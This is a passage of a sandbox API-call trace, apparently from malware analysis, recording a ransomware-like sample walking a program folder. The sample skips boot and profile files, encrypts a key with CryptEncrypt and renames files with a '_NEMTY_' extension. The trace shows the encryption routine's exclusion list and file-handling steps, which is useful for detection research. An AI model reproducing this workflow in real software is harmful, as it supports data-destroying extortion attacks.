(HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0080.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.292] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.292] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.399] CloseHandle (hObject=0xffffffff) returned 0 [0080.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0080.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0080.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0080.400] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.400] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2=".") returned 1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="..") returned 1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="...") returned 1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="windows") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="$RECYCLE.BIN") returned 1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="rsa") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="NTDETECT.COM") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntldr") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="MSDOS.SYS") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="IO.SYS") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="boot.ini") returned -1 [0080.400] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="boot.ini") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="AUTOEXEC.BAT") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="ntuser.dat") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="desktop.ini") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="CONFIG.SYS") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="RECYCLER") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="BOOTSECT.BAK") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="bootmgr") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="programdata") returned -1 [0080.401] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="appdata") returned -1 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 18 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0080.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0080.402] Sleep (dwMilliseconds=0x5) [0080.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe39414d0, dwHighDateTime=0x1d561e7)) [0080.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe39414d0, dwHighDateTime=0x1d561e7)) [0080.416] GetLastError () returned 0x5 [0080.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.416] GetLastError () returned 0x5 [0080.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0080.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0080.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="/HpAh+mW9BtuGIGFe0iHr3rtYuG3Ph3alItVh0Zsm47pdAdy5o3IKoYoso85GfYq\r\np8JmuNTN6HaG8qoCbyVdyA8Nt8j7F2AwvoKd0LnlkdvGJtqvzBNCpQ3OOKTHWQEF\r\ntZqrEm9Q+iw/IC1/+4C2KlxQNtm5MaLRKxDEogFxf7JIf1HI6Fws59e//xU7vhrF\r\nP9GoCJ2Q/6kG6ZHIL9dF/M+JPoDFbNJk67TvxY4Fa86u8GC6QNQXx6gR3gMBbXVs\r\n2DR7ovjuihpFikUXGdq/iHHesp1NOAh3uoiWnTFJNi1N/pXkgin1ViyEv2QLsLbW\r\ncyWOBRa/QzQAHjeMwdsNKQ==\r\n", pcchString=0x653e91c) returned 1 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.417] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.417] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 